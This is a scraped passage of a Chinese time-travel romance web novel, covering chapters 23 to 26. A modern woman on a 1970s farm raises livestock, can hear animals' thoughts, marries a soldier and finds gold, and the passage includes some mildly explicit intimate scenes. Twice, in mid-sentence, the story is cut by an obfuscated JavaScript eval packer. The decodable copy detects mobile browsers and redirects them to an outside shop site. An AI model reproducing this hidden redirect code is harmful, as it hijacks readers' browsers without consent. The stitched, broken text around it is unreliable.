“到什么年纪就要做什么事,我这么说不还是为了你好?” “趁现在你还年轻还能挑挑,过两年年纪大了,你还上哪儿挑去?” “整天吃饱就抱着手机不放,你都多大了还天天玩游戏,游戏里的人能跑出来吗?” …… 指责她的生活方式,将她的喜好贬得一文不值,虽然是亲生父母,但他们并不知道孟逐星真正喜欢的、想要的是什么。 “逐星?”陆宗青担心的声音传来,“你怎么了?” 孟逐星回过神来,摇了摇头,“没什么,就是你这么惯着我,以后我可能会蹬鼻子上脸的呀。” 陆宗青笑了笑,微微挑眉,“嗯?难不成你还能上天?” 刚才低落的情绪一扫而空,孟逐星扮了个鬼脸,“我不仅能上天,我还能遁地呢!呀——” 她低呼出声,指着窗外:“下雪了!” 陆宗青对此见怪不怪,“往年这会儿也会下雪的,之后天就要更冷了,你和思甜的被褥够厚吗?” “很厚很厚了,夜里睡觉盖着都会冒汗。”孟逐星对雪很是好奇,从他腿上下来走到窗边,推开窗子伸手去接雪花,细小的,冰冰凉凉,落在掌心转瞬即化。 她转头兴奋问:“宗青哥,雪要是下得大的话,我们是不是就可以打雪仗了?” “嗯,”陆宗青忍不住笑,“你就不怕冷么?” “不怕。” 孟逐星眼睛亮晶晶的,“好久没有玩雪了。” 等外面地上积了一层厚雪时,她拉着陆宗青跑了出去,两人在雪地里奔跑打着雪仗。 寒风吹得她脸颊发红,可她脸上的笑容却格外灿烂。 陆宗青被她砸了一身的碎雪,眸光温柔地凝着雪中的少女,乌黑的麻花辫在她身后荡起,她狡黠一笑,又投了一个雪球过来。 正中他的胸口。 他唇角微弯,捏了个小雪球反击回去。 疯玩许久,两人都出了汗,陆宗青怕她着凉,赶忙将她拉回屋烤干了身上的湿气,见天色不早了,这才送她回去。 雪暂时停了,大地一片雪白,照得四周恍若白昼。 两人并肩走在小路上,脚下踩得雪声微响,一阵风吹来,孟逐星不禁打了个寒颤。 陆宗青抿了抿唇,将她的手握住放进了自己兜里,面对少女疑惑的目光时,他耳根微热,“这样……你会暖和一点儿。” 孟逐星毫不客气地与他十指相扣,笑眯眯道:“这样更暖和。” 说来也怪,两人明明做过更亲密的事,这却是第一次正儿八经的牵手。 陆宗青的手大而温暖,修长的手指紧紧扣着她的,两人指缝间没有一点缝隙,孟逐星可以清晰地感觉到他掌心与指腹上的薄茧,她忍不住轻轻挠了挠,轻微的粗糙质感,却莫名地让她心跳快了几分。 脑海中蓦地闪过暗夜中他触到她肌肤时的情景,孟逐星脸颊微热,她悄悄抬头偷看一旁的青年,不期然与他侧眸的目光相撞,两人都愣了一下,继而缓缓弯起了唇角。 天气一日日地寒冷起来,地里的庄稼都已然收获、储存,留够了过冬要吃的,剩余的孟逐星都卖给了附近的知青。 一场场大雪过后,家畜家禽也不再适合继续养下去,卖给供销社一部分,其他的便提前宰杀,分给院中其他姑娘一部分,给陆宗青和李少阳送了些。 余下的做成腊货,一只只一块块地挂在屋檐下,看着别提有多壮观了。 趁着天气晴好时,孟逐星与陆家兄妹跑了几趟山里,背回了许多柴火,看着满满当当的柴房,她心里倍儿踏实。 冬天到了,外面天寒地冻没法儿干活,农场里的大多数人都猫在屋里,吃着自家炒的瓜子花生,唠嗑说笑,或是自制扑克打着消磨时间。 孟逐星等人也不例外,不同的是几个姑娘都还惦记着学习,互相监督着不可太过玩物丧志。 天虽冷,可陆宗青还要正常执勤巡守,与孟逐星见面的机会少了许多。 也是他心疼小姑娘,不忍心大冷天的叫她出来,每每见面都是他来小院,进屋放下点东西,说几句话便离开了。 如此地守规矩,看得陆思甜心中直叹气,照这个进度,她猴年马月能当上姑姑呀! 可孟逐星却笑眯眯的,小脸上满是喜色,似乎一点儿也不嫌弃她哥哥像块木头。 …… 一眨眼到了腊八。 过了腊八就是年,家家户户都开始忙着备年货,这会儿物资没那么丰富,攒了一年的粮票、肉票、布票在这时派上了用场。 对大部分人家来说,炸点丸子、炸果、地瓜干,熬糖浆做花生米花叠糖,再把自家晒干炒制的花生、瓜子拿出来,就已经足以用来待客了。 过年最开心的莫过于孩子们,虽不能在外面撒欢儿跑着玩,但有了新衣裳穿,家里也有许多好吃的,哪怕自己调皮闯了祸也不会挨训。 “大过年的,就别说孩子了。” 小孩们都疯着闹,已经是大人的孟逐星却在忙着擦窗户打扫卫生,在累得直不起腰时,她脑海中忽地闪过妈妈的身影—— 从前每次过年,她也是这样一个人忙里忙外的吗? 孟逐星眼眶微热,心里酸酸胀胀的。 陆思甜见她出神,关切问:“姐,你要是累了就歇着,待会儿我来收拾。” “我不累。”孟逐星摇了摇头,“就是有点想家了。” “前几天小兰姐不是写信说,家里人一切都好吗?你要是惦记得慌,等开春了咱们就回去一趟。” “到时候再看吧。” 孟逐星心里叹了口气,她想回的是21世纪的家,恐怕这辈子都不可能了吧。 收拾完家里,陆思甜已经做好了饭,两人简单吃了,说起写春联的事。 孟逐星很有自知之明,“我的狗爬字实在没法儿看。” 陆思甜挠了挠头,“我的字也差不多……” “那看看她们怎么说。” 两人依次问过另外四个姑娘,四人都有些沉默。 莫莉莉突然拍手:“哎我听说小学里有个老师的毛笔字写得特好,要不咱们找他去,让他帮帮忙?” 周蒙风风火火地拎起红纸:“走,这就去。” 谢慧敏笑着拉住两人,“别急,你们就这么空手去啊?大过年的怎么着不得给人家带点儿东西。” 于是几人凑了一兜子东西,糖果、瓜子、花生、千层糕应有尽有。 孟逐星笑道:“这应该足够这位老师润笔了吧。” 等到了那人家里,看清那人的相貌时,她难掩惊讶。 那人竟是蒋熠。 他住的小屋门口已经挤满了人,都拿着大大小小的红纸,在排队请他写春联和福字。 寒风呼啸,轮到孟逐星她们时,几人的手脚都有些发僵,见蒋熠穿得不是很厚,白皙的手指都冻得有些发青。 她心里有些不落忍,“蒋老师,你还好吧?手都冻成这样了……” 蒋熠对她笑了笑,“没事,我都习惯了。” 说着,他接过裁好的红纸,铺平提笔蘸墨书写起来。 有一说一,他长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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孟逐星心口急跳了两下,笑这么好看做什么,她又不能做点啥…… 见她走近,陆宗青伸手将她拉进怀里,摸了摸她的脸,低声问:“年夜饭吃得开心吗?” 孟逐星蹭了蹭他的手,笑眯眯回:“开心,你呢?” “我也开心,不过我希望下次过年,我们可以一起。”陆宗青低头凝视着她,变戏法一般从怀里取出一双米灰色皮手套,“这是送给你的新年礼物,试试看?” 孟逐星喜滋滋地带上,“大小正好哎!宗青哥你什么时候买的呀?” “前几天去镇子上见到了,觉得很适合你。”他握住她的手,“这边天冷,你平时出门就戴上。” “好的呀,你稍等我一下。”孟逐星飞快跑进屋,一眨眼的功夫又飞快跑了出来,怀中多了一条黑色毛线织的围巾。 “这个是我自己织的,手艺不好,你、你别嫌弃。” 陆宗青微愣,接过围巾,“这么厚实,你应该织了很久吧?” 孟逐星咬唇摇头,“也还好。” 才怪咧,她之前根本就不会织!跟着慧敏姐学了大半天,才开始歪歪扭扭地织起来,后面不是错线就是太紧,反复拆了好几回才织成如今的模样。 陆宗青郑而重之地将围巾系上脖颈,眸中浮动着温柔笑意:“好看么?” “好看!” 孟逐星可不是自卖自夸,而是陆宗青这张脸这个身材,哪怕是披条抹布也很有型。 陆宗青眼中的笑意更浓,他俯身亲了亲她的额头,“进去吧,早点休息。” “嗯,你路上小心。” 孟逐星刚一回屋,就见炕上几个人笑成一团,周蒙掐着嗓子模仿她刚才说的话,莫莉莉则压低声音学陆宗青,孟逐星又羞又窘,笑着和她们闹成一团。 走出去很远,陆宗青仍能听到身后小院里传来的笑声,他摸了摸身上的围巾,嘴角弯起好看的弧度。 24. 第 24 章 热闹的炮竹声中,新的一年来了。 大年初一,家家户户走亲访友去拜年,最高兴的莫过于小孩子,嘴甜的一会儿功夫褂包里就装满了糖和瓜子。 宋若楠四人去给医院的领导同事们拜年,孟逐星和陆思甜也没闲着,去了相熟的邻居、知青那里串门儿,说吉祥话吃点果子,热闹而欢快,比现代的过年可有人情味儿多了。 晌午时,陆宗青叫走了孟逐星和陆思甜,三人在他的宿舍里一起吃了丰盛的午饭。 孟逐星忍不住问:“怎么没见少阳?” 往常他是最喜欢来蹭饭的,怎么今儿反倒没了踪影。 “昨天晚上他舅舅开车来接他,去了市里过年。” “市里?”孟逐星眨了眨眼,“原来他这么有人脉啊……” “他舅舅在市里工作,不想他大过年的还自个儿一个人。” “原来如此。” 外面虽然出了太阳,但是风大温度太低,三人也不打算出门逛,围在炉子边吃着瓜子烤着火聊天,说起小时候的趣事囧事来。 “以前虽然日子穷苦,但是一家人在一起……”陆宗青顿了顿,见妹妹眼眶微红,岔开话题,“思甜,这大半年你好像没怎么生病了吧?” “嗯,兴许是我总跟逐星姐一块儿干活,上山下山的跑来跑去,身体锻炼多了,反而比之前窝着不动好。”陆思甜说着,拍了拍自己的胳膊,面色得意,“手劲儿也比以前大了呢!” 陆宗青笑了笑,“这是好事,今年也继续努力。对了,等天气暖和了,你们还要继续打算养猪吗?” “养啊,为什么不养。”孟逐星盘腿坐在凳子上,嗑着瓜子,“去年养猪攒下了不少钱呢。” 小钱钱当然是越多越好呀。 陆思甜也点头,“反正我们也不上工,养些猪也能打发时间。” “那等天暖和了,咱们再一块去买猪崽。” 正说着话,门外传来一阵喧闹声,有人敲门叫着陆宗青的名字,开门之后,周阳和另两个眼熟的青年走了进来,笑嘻嘻地嚷着新年好。 三人落座,小屋瞬间显得更为拥挤,可这也没办法,外面天寒地冻的委实不适合长待,几人便围着炉子聊天说笑。 那两个青年一高一矮,高个子的更清秀些,叫许文斌,话不太多,性子很内敛,眼睛都不太敢直视屋里的两个姑娘,矮个子的叫张津,嘴很贫说话很逗,三两句话便让气氛活络起来。 来农场大半年,陆思甜也没怎么跟其他男人接触过,有也是陆宗青的战友,但大多数打了个照面,连话也没怎么说,这还是头一回跟两个陌生人共处一室,听他们说起训练场和巡逻时的事。 初时她还挺紧张,之后她发现十分清秀的许文斌似乎比她还紧张,连耳根都微微红了,她不知怎的,一直绷着的神经就松了下来。 她听他和张津说话,目光却时不时地落在他身上。 浓眉大眼白皮肤,高鼻梁薄嘴唇,身材高瘦,刚才他说他老家是南方的哪里来着?陆思甜一时间有点出神,忽然听到耳边有人叫她的名字。 一回过神便见屋里的几人都在看着她,孟逐星满脸关切:“思甜你怎么了?叫你好几声都没答应。” 陆思甜腾地红了脸,摆了摆手儿:“没,没怎么。”眼神却在许文斌身上停顿了一下。 后者似有所觉,眸光与她相对,怔了一下,红了耳根。 他俩的眉眼官司孟逐星看得真切,心内一阵惊奇,却也没流露出来,赶忙笑着续上了盘子里的花生瓜子,又给几人添了茶。 …… 过年就是吃喝玩乐,虽然这年代可玩的不多,但哪怕是在炕上撅着,也很快活。这样悠闲的日子直过到出了正月,外面虽然仍然很冷,但孟逐星却逼自己自律起来。 每天早起早睡,看书学习,或者是在屋里循着脑海中的音乐跳跳操。 一旁的陆思甜看得一头雾水,小声问:“姐,你这是做哪一套的广播体操啊?怎么我没在学校里学过?” “嗐,这是我自创的,瞎跳着玩。”孟逐星面不改色地扯谎。 “哦……”于是陆思甜也依葫芦画瓢,跟着她跳起了帕梅拉。 寒冷的冬天显得格外漫长,等到好不容易熬到了春天,天气转暖,身上的厚棉袄也可以脱下来时,孟逐星摩拳擦掌,准备在新的一年再多赚点钱。 有了去年的经验,再种地养猪就越发熟门熟路,想到之前养的鸡鸭鹅很受欢迎,她就把鸡圈扩大,多买了些鸡崽。 身体的异能仍在,只是近日孟逐星觉得有点不太一样,体温似乎比平时高一些,但又没有发烧的症状。这样持续了几天,没有别的不适,她也就没放在心上,直到—— 这天晌午她在给鸡崽加饲料时,冷不丁看到了毛茸茸鸡崽头上的弹框:【饿饿、饿饿】。 孟逐星瞳孔地震:………… 她难以置信地眨了眨眼,却清晰地看到那弹框仍在闪烁,鸡崽一脸懵懂地歪头与她对视着。 ……夭寿了。 大白天的她竟然出幻觉了?! 孟逐星掐了一下腮,是疼的,这是真实发生的? 她有点慌。 回屋里冷静了一会儿后,她突然想到自己近几天身体的异样,莫名的体温升高却又没有其他不舒服,难不成就是异能在搞升级? 唔,所以现在她能看到动物的心声了? 可这又有啥用呀……低头看了看浸湿的衣襟,孟逐星叹了口气处理起来,之后熟练地把浑水倒进桶里储存。 几天后,她看着鸡圈中明显长大一大圈的鸡崽陷入沉思。 好家伙,功效更明显了是么…… 因为异能的升级,孟逐星的养鸡大业越发兴盛,鸡生蛋、蛋生鸡,一沓沓钞票充实了她的腰包。 有钱了,她就想着扩大产能——倒不是指望着她的特殊液体,而是买砖建鸡舍扩大规模、购买好饲料,人手不够时,还请了临近的大妈们帮忙,给开工资的那种。 除了鸡,鸭子和猪也没落下,养成后就卖到供销社,赚到钱了再继续投资,等到了秋天,孟逐星已经成了农场里颇有名气的养殖大户。 有不少人眼热来向她取经,她实话实说,做法与其他养殖户没什么区别,弄得人半信半疑嘀咕着走了。 钱包鼓鼓,孟逐星连走路也多了几分底气,在给马小兰寄东西时,买了许多特产和好吃的,也不心疼邮费了。 前阵子马文波结婚,他之前把她当亲妹妹看,给了她很多照顾和帮助,孟逐星又怎么会小气?于是她随信附了十块钱,当是随份子。 秋末时,农场里又有不少知青回了城,有男有女,其中有人已经在当地成了家,甚至有了孩子,却还是选择离开。 陆思甜小声问:“姐,你说他们以后还会回来吗?” 孟逐星唏嘘道:“难说,回城的日子也不见得就好过,要是他们自个儿都顾不了自个儿,对这边肯定也是心有余而力不足……更何况都是天南海北过来的,再回到这么远的地方,你觉得有多大可能?” 陆思甜沉默了。 知青返城每回都动静挺大,且随着下乡的时间越久,很多知青也越来越待不住,有的哭闹,有的则到知青办门口静坐,还有偏激点儿的开始绝食。 孟逐星并没有特意关注这些,但农场的消息流通极快,大伙儿茶余饭后都会小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732940|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘀咕此事。 没几天,又恢复了风平浪静。 外面消停了,可这天下午,孟逐星和陆思甜的屋里却遭了贼。 这贼想是提前踩了点,知道她们院里下午没人,这才溜进了屋里,东西被翻得乱七八糟,损失倒不算多——丢了几瓶黄桃罐头两包桃酥。 厚实的军大衣被翻出来了,却没被偷,想是小偷也觉得这东西太大,这个天气拿出门很容易被人瞧见引起怀疑。 “姐,幸好你有先见之明,咱们挣来的钱你都放在了我哥那里。”陆思甜一阵后怕,“要是就在这屋,这还不让人给一锅端了。” “钱倒是其次,这贼肯定提前听说了咱们今天都不在,所以才敢大白天的进来偷东西。”孟逐星想了想,也没忙着收拾屋里,拉着陆思甜往派出所走去。 路上,她悄声跟陆思甜耳语了几句,到了所门口,两人做出惊慌失措的样子,拉着一位公安同志就哭诉了起来。 那人听完也是一惊,这可是有部队驻扎的农场,光天化日的竟然发生了入室抢劫?! 事态严重,他当即往上汇报,不一会儿,便有个留着齐肩短发的女干部走了出来,神情关切:“两位女同志,你们俩没事吧?你们放心,我是所里的副局长李春梅,这件事我们一定会查个水落石出,给你们一个交代。” 说罢,她带着两人一块儿去了部队。 见了队里的领导,好巧不巧,正是之前孟逐星见过的那个周团长,当时陆宗青开车救了他自己反倒受了伤,周团长来慰问探望过他。 听罢来龙去脉后,周团长严肃道:“李副局长,安全一事可马虎不得,我们万分重视。小陆,你现在就分出两队人来,加强农场内的巡逻,一旦发现什么可疑人物,即刻转交派出所。” 陆宗青道:“好的首长。” 他目光落在孟逐星与妹妹身上,见两人除了脸上有点泪痕,别的没什么异样,这才心下一松。 要知道刚才他见她们俩进来时,还以为自己眼花了,听到是有贼入室偷窃,他心中更是担忧,万幸没造成什么伤害。 “怎么没有?可惜了我的黄桃罐头和桃酥啊!”回家的路上,孟逐星小声抱怨,“宗青哥,你们到时候一定一定要多往我们那边巡逻一下哦!” 陆宗青笑道:“我们向来一视同仁,不过,我可以为你多加会儿班。” 他顿了顿,“天气冷了,就有些闲汉懒汉想着投机取巧来快钱,以后你们也要多加注意才是。” 孟逐星皱眉:“赶明儿去镇上买两把斧头防身。” 陆思甜抖了抖小身板,“姐,也不必这么凶残吧……” “女人心不狠,地位就不稳,晓得伐?” 陆思甜懵然点了点头,突然有点担心地看了看自家哥哥。 陆宗青一时失笑,“……你就别瞎操心了。” 得知屋里闹了贼,莫莉莉四人都有点慌,检查一遍自个儿的东西,发现并没少什么,松一口气之余,忍不住说:“合着这贼是冲你来的啊养殖大户。” 俗话说得好“财不露白”,前阵子孟逐星隔三差五地就跑镇子上卖东西,自然会被有心人看在眼里,难免心生贪念。 “这回还算幸运,没损失太多,不过也给了咱们一个警醒——这小门小窗不够安全,该重新整一下了。” 周蒙举手:“我认识一个木匠,做活儿可好了!” 于是众人找到那位木匠,量尺寸选木材重新做了门窗,又新买了门锁换上,心里这才稍微踏实些。 再加上陆宗青和战士们的巡逻,一时间因为闹贼事件而起乱的人心又沉静了下来。 与此同时,陆宗青也做出了一个决定。 25. 第 25 章 “什么?”孟逐星一脸惊讶,“你说周团长同意给你批地盖房子?” “嗯,虽然地方有点偏,但胜在面积大。”陆宗青看着她,“我想盖几间宽敞的屋子,你要不要一块儿搬过来?” 孟逐星心口猛地一跳,“啊?我、我搬过去不太合适吧……” 再怎么说他们也还没结婚呢,一块住不得被周围人的唾沫星子淹死。 “逐星,我已经打报告申请结婚了。” “什么?”孟逐星一时呆住,“你、你怎么都没问问我……” 陆宗青一脸紧张地看着她,“你……不愿意吗?” 孟逐星摇头,“不是。” “那是什么?” 孟逐星语气有点幽怨:“就是你跟人求婚,怎么一点表示也没有啊。” 陆宗青愣了一下,旋即从裤兜里取出一个小本本递到她手里,“这是我全部的存款,都给你。” “唔,然后呢?” “请你和我结婚,我会一辈子对你好的。” 孟逐星没说话,只是看着他,这让陆宗青心里很是忐忑,“逐星?” “算啦。”孟逐星心内轻叹一声,能指望他这样闷的人说出什么甜蜜的情话呢…… 她收下存折,打开瞅了一眼,不禁“嚯”了一声,“有不少啊。” 陆宗青抿了抿唇,眼睛直盯着她:“那你是答应我了么?” “对呀,”孟逐星狡黠一笑,踮脚附在他耳边,轻声说了两个字,吧唧一口亲在了他的脸颊上。 话音刚落,就见陆宗青的耳根腾地一下变红了。 调戏成功,孟逐星笑眯眯地歪头看他,“不带我去房子的地址看一下吗?” 陆宗青回过神来,应了声,手掌蓦地被一只柔软小巧的手握住,他垂眸,撞上孟逐星乌黑澄澈的眼眸。 “既然都要结婚啦,我大胆一点儿也没关系吧?” 以前两人走在外面都会比较注意分寸,怕影响不好很少牵手。 可如今形势不同,他们马上就是国家认可的关系,那她也就不必再那么谨小慎微。 “嗯。”陆宗青唇角上扬,反握住了她的手。 房子选址在农场西南角的一片大荒地,四周没什么住户,稀稀拉拉种着些树。 陆宗青指了指大概的面积,低声问:“你看行吗?” 孟逐星两眼放光:“太行了!地方这么大,够盖好几间屋子了,还可以有自己的小院!” “嗯,要怎么盖你说了算。” “真的?” “当然。” 孟逐星满脸兴奋,“那我晚上好好合计合计。” 陆宗青从身后拥住她,“再过几个月,我们就有自己的家了。” “嗯嗯。” 孟逐星摩拳擦掌,之后两天心思都放在了规划房子上。这天临近傍晚,陆宗青骑了辆自行车来找她,说要带她去看样东西。 她不做他想,跳上了他的后车座,大大方方地揽住了他的腰。 谁成想他竟带她来到了一个湖边,夕阳的余晖洒在波光粼粼的水面上,晚霞十分瑰丽。 孟逐星一脸疑惑,正要问他怎么回事,就见陆宗青单膝跪地,手上捧着一只小首饰盒,目光灼灼地看着她。 “你这是……”她心口急跳了两下,有些难以置信,“在跟我求婚吗?” 他这是从哪里学来的? “我问了少阳,他懂得比较多。”陆宗青缓缓打开盒子,里面是一枚精致的玫瑰金戒指,“你愿意戴上吗?” 孟逐星惊喜地点了点头,看他给自己戴上了戒指,大小格外合适。 她伸手仔细瞧了瞧,唇角一直上翘,“宗青哥哥,尺寸这么适合,你什么时候偷偷量的呀?” 陆宗青脸色微红,“牵你手的时候特别留心了一下。” 孟逐星眉眼弯弯地盯着他笑,“宗青哥哥好厉害呀,这都能摸得分毫不差。” 陆宗青的脸更红了,展臂将她抱入了怀里,“以后我给你买更好看更贵重的。” “好呀。”他人品如何她这近两年的时间心里已经很清楚,况且他连存折都给她了,向来内敛寡言的人能为了她向好友请教,又为她准备了这个惊喜,孟逐星心里已然十分满足。 这个地方偏僻没什么人来,夕阳西下,鸟鸣声声,微微晚风吹着,别说确实还挺温馨浪漫。 孟逐星从他怀中抬起头,“你是怎么发现这个地方的?” “以前休假闲得无聊,我就跑步去更远的地方,有一次就来了这儿,很幽静让人觉得很放松。” 孟逐星的关注点却有点偏,“那你有没有在这水里洗过澡?” “嗯?”陆宗青一时没反应过来,“……有,天热的时候。” 孟逐星小手隔着衣服摸上他的腹肌,“那不会被人看见吧?”她指尖不老实地滑动,语气幽怨而小气,“这都是属于我的,不可以被其他人看。” 陆宗青喘息沉了几分,耳根通红,“没有人看到,只有你。” “嗯?宗青哥哥说谎,我明明也没看到过。” “你、之前在我宿舍时,不是……” 孟逐星满眼狡黠,“那会儿乌漆嘛黑的,我啥也没看清呀。宗青哥哥你要赔偿我。” 陆宗青眼尾泛起绯色,低头抵着她的额头,“怎么赔偿?” “现在给我看。” “……” 陆宗青迟疑片刻,抬头扫了眼四周,抬手解起了衬衫扣子。 夕阳的余晖将两人的身影拉得很长,暖色的光落在青年健硕颀长的脊背上,肩背宽阔而紧实,略微用力舒展,肌肉线条清晰可见。 腹肌块垒分明,对称分布,麦色胸肌贲起,力量感十足,乳首却是小小的泛着浅粉,特别可爱。 反差之大,让孟逐星心中嗷嗷直叫,面上却还努力做出一副淡定的样子,忍了又忍,还是上了手。 她是摸爽了,陆宗青却呼吸越来越沉。 寂静的环境中,他的喘息透着隐忍与克制,却听得人更加口干舌燥。 不想玩火自焚,孟逐星赶忙见好就收,咳了一声:“时候不早了,咱们回去……啊……” 她被拎起抵抱在了树上,薄唇热切地吻了下来。 与之前的温和亲吻不同,这次来势汹汹如狂风暴雨般极为猛烈,理论上的老司机孟逐星也被亲得身体发软呼吸不畅招架不住,她朦胧间感觉到了什么,与陆宗青黑沉沉的眸子对视—— 本以为他会做点什么边缘行为,但他只是粗喘着将她亲了又亲。 然后就悲剧了。 她的胸前衣服湿了一片。 此时天色已经黑了下来,孟逐星脸颊滚烫,小声说:“要不你帮帮我?” 陆宗青将她托举更高,脸埋了下去。 …… ** 天气渐渐转凉,两人一块儿去镇上拍了照片、扯了证,看着黑白照片上两人英气、俊俏的脸,孟逐星很是满意,小心地把证收好。 之后两人商量好房子的布局,买了土砖、石灰等,找来泥瓦匠们开始施工。 按孟逐星现有的财力,她完全可以盖几间漂亮的红砖房,和在城里见到的一样,只是前阵子闹贼事件给她敲了个警钟——做人不能太高调,还是悠着点儿好。 更何况,过了明年,他们大概率就会离开这儿去外地上大学,以后回来的次数可能也不多,没必要浪费这个钱。 等房子盖好了,她整点舒服的软装就成。 陆宗青近期忙着保秋收、边防巡逻,盖房的事主要是孟逐星来跟进,陆思甜也常来帮忙,给师傅们做个饭烧个水。 浓眉大眼个子高高的许文斌也经常来,每回都是默不作声地帮忙干活,在陆思甜对他细声细气地说话时,他都会 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陆宗青被她直白的话弄得面红耳赤,有些哭笑不得:“你一个女孩儿家,怎么、说话这么……” “怎样?”孟逐星毫不害臊,理直气壮地圈住他的脖颈,“你不喜欢?” “……喜欢。” 谁能拒绝活泼娇俏大胆热情的未婚妻呢?至少陆宗青不能。 他没办法拒绝,甚至每一次都愈发沦陷。 这个时候就体现出孟逐星现代人的优势了,开车的理论知识异常丰富,却也不敢过于直接地表达出来,而是趁着他不理智时,装作不经意地引导、启发。 然后,她就在两个月后,收获了一个“特别会”的男朋友。 虽然嘴上仍不善于表达,但行动和领悟力极强,在又一次潮红着脸伏在他肩上喘息时,孟逐星心生感叹—— 这何尝不是一种养成呢? 仗着喝了点酒,孟逐星就更加缠人,陆宗青被她闹得没有办法,只能将她抱在怀里顺着她的意思来。 这回她的目光往下,一双乌黑杏眼亮得诱人。 陆宗青喉结滚动,“不行。” “隔着衣服呢。” “……也不行。” 孟逐星轻咬他的耳垂,“别这么小气嘛。” 陆宗青手臂青筋鼓起,“……” 最终,还是被她给得逞了。 四周静悄悄的,孟逐星鬓发微湿,小脸上满是餮足,反观陆宗青的脸色就有点沉,黑眸幽幽地盯着她。 生动形象地展示了什么叫“欲求不满”。 孟逐星弯眼对他笑了笑,“宗青哥哥要我帮忙么?” 陆宗青领教过她的法子,耳根一红,“还是不了。” 弄脏了衣服,回去不好解释。 两人依偎着坐在湖边,欣赏着平静湖面上的皎洁明月。 蓦地,孟逐星看见不远处有亮光在闪烁,她本以为是着了火,定睛一看时却发现原来是两只野兔,闪烁的是它们头顶的对话框—— 白兔:【呜呜,我的牙被一块大石头崩坏了!】 灰兔:【怎么肥四?】 白兔:【刚才我在那棵槐树下吃草,啃得深了点儿,就咬到了石头,呜呜呜好疼。】 灰兔蹦跶着跳过去:【这颗黄色石头?】 白兔:【嗯嗯!】 灰兔咬了一口后,发出一声低叫。 【哎哟呜呜呜我的牙……】 看了一个小剧场的孟逐星:“……” 见两只兔子呜咽着跑开了,她好奇地走近树下,捡起那块黄不溜秋的小石头,在月色下看了看,她突然心中一动,在水里洗干净后,顿时瞪大了眼—— 黄金?……还是铜块? 26. 第 26 章 她又在周围搜查了一遍,又发现了两块类似的石头,如法洗净,捧到了陆宗青面前。 他愣了一下,“这是……金子?” “也可能是铜块,带回去仔细研究研究。” “这会不会是旁人埋在这儿的?” “假如你有金子,你会埋在一个荒地里吗?” 陆宗青摇头,“要埋也埋自己家里。” “那不就成了,更何况这也许根本就不是金子。”孟逐星可不敢相信自己的运气竟然这么好,还能在地上捡到金块儿。 可当她回去后,用火烧了三块石头,发现那石头上一点儿痕迹也没有,不由得瞪大了眼睛。 好家伙,这是什么狗屎运! 这三块金子加起来怎么说也有半斤多了…… 虽然现在的金价不高,但若干年后可就很值钱了。 孟逐星将金子收好,实打实地体会到了能看懂动物说话的好处,再这么来几次,她不就可以实现财务自由了嘛。 三个月后,房子建好了,陆宗青和几个战友一道打扫完卫生,要请他们吃饭说什么也不愿意,“以后排长和嫂子乔迁新居了,我们再来蹭顿饭吃就成。” 三间宽敞明亮的堂屋,东侧是厨房、水井,东北角是厕所,西边则留了一块地,可以种花种菜,院子里铺了一层碎石子,不至于一下雨就满院子泥水。 虽然是平房,但孟逐星也很满意了,她买了些好看的布料,到店里请人做成了床上四件套,又和陆宗青一块儿逛了卖家具的,选了些桌椅、板凳和柜子。 床是盖房子的时候就盘好的炕,特别宽,很适合滚来滚去。 粗略布置完之后,这房子就多了几分生活气息。 “放一阵子散散味儿,然后我们就能搬进来了。” 陆宗青握住她的手,笑道:“在那之前,咱们是不是要把婚给结了?” 孟逐星轻哼一声:“我的‘三转一响’呢?” “票我都准备好了,也提前跟供销社的售货员说了,明天就去提。” “那就看你哪天有空呗。” 陆宗青眼睛发亮,将她抱了起来,“三天后行吗?明后天咱们一块儿去买东西,我再把宿舍布置一下。” 他亲了亲她的脸,“委屈你了星星,要跟我在宿舍里洞房。” 孟逐星狡黠眨眼:“唔,反正我也不着急的,之后搬完家再结也行啊。” “不行。”陆宗青用力抱住她,俊脸微红,低声道,“我、我想快点。” 孟逐星大笑,却被他捧住脸猛亲了一顿。 三天后,两人结了婚。 在小院里玩了几个小游戏,闹了一回后,莫莉莉几个姑娘都得到了红包,孟逐星才穿着红衣裳红皮鞋,满脸笑容地坐上了陆宗青的自行车后座。 车上扎着大红花,周围还跟着许多看热闹笑嘻嘻的孩子,李少阳等几个战友骑车跟在后面,边唱歌边撒糖。 陆宗青今天穿了身军装,宽肩窄腰大长腿,身姿笔挺,英气逼人,惹得孟逐星总忍不住看他,他唇角弯起,眼里的笑意特别温柔。 围农场转了一圈后,接亲的队伍驶进了宿舍大院,陆宗青的那间小屋被装饰一新,张灯结彩,被褥上也撒满了染成桃红色的花生、红枣。 陆思甜满脸欢喜地在门口迎接,扶着孟逐星进了屋里略作休息。 李少阳见陆宗青也要进去,赶忙拉住他,“宗子你急什么啊,洞房得到天黑才行!”说得众人哄堂大笑。 陆宗青咳了一声,笑着去招待客人。 来的都是他的战友或是熟识的乡亲们,条件所限也只是简单办了几桌席,相熟的婶子们帮忙做饭招待,虽然没有大鱼大肉,但吃得是这份热闹与人情味儿。 不少人围着新买的自行车、缝纫机和收音机看,有小孩好奇上手摸了摸,被家长轻声嗔怪。 敬完酒的孟逐星见了,笑道:“婶子不要紧的,摸一摸也不会坏。” 那婶子陪笑道:“小孩家不知轻重的,再把这给你们弄坏了。” 热闹到傍晚,众人才散去,等屋里只有他们俩时,孟逐星才发现陆宗青似乎有点喝醉了。 他坐在床上一动不动,黑眸直盯着她看,神情特别认真。 孟逐星一面将脸上的粉擦掉,一面转头看他,“宗青哥哥,你还好么?要不要喝点水?” 陆宗青摇头,继续盯她。 “……”孟逐星心中好笑,洗干净脸后来到他面前,摸了摸他的额头,“这么热呀?你是不是喝多了?” 